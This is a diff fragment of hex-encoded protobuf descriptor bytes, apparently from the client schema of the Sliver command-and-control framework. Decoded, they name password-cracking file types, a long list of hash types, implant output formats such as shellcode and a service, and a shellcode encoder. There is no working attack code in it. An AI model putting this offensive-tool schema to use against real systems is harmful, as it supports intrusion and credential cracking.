0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, - 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, - 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, - 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, - 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, - 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, - 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, - 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, + 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, + 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, + 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, + 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, + 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, + 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, + 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, + 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, + 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, + 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, + 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, + 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, + 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, + 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, + 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, + 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, + 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, + 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, + 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, + 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, + 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, + 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, + 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, + 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, + 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, + 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, + 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, + 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, + 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, + 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, + 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, + 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, + 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, + 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, + 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, + 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, + 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, + 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, + 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, + 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, + 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, + 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, + 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, + 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, + 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, + 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, + 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, + 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, + 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, + 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, + 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, + 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, + 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, + 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, + 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, + 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, + 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, + 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, + 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, + 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, + 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, + 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, + 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, + 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, + 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, + 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, + 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, + 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, + 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, + 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, + 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, + 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, + 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, + 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, + 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, + 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, + 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, + 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, + 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, + 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, + 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, + 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, + 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, + 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, + 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, + 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, + 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, + 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, + 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, + 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, + 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, + 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, + 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, + 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, + 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, + 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, + 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, + 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, + 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, + 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, + 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, + 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, + 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, + 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, + 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, + 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, + 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, + 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, + 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, + 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, + 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, + 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, + 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, + 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, + 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, + 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, + 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, + 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, + 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, + 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, + 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, + 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, + 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, + 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, + 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, + 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, + 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, + 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, + 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 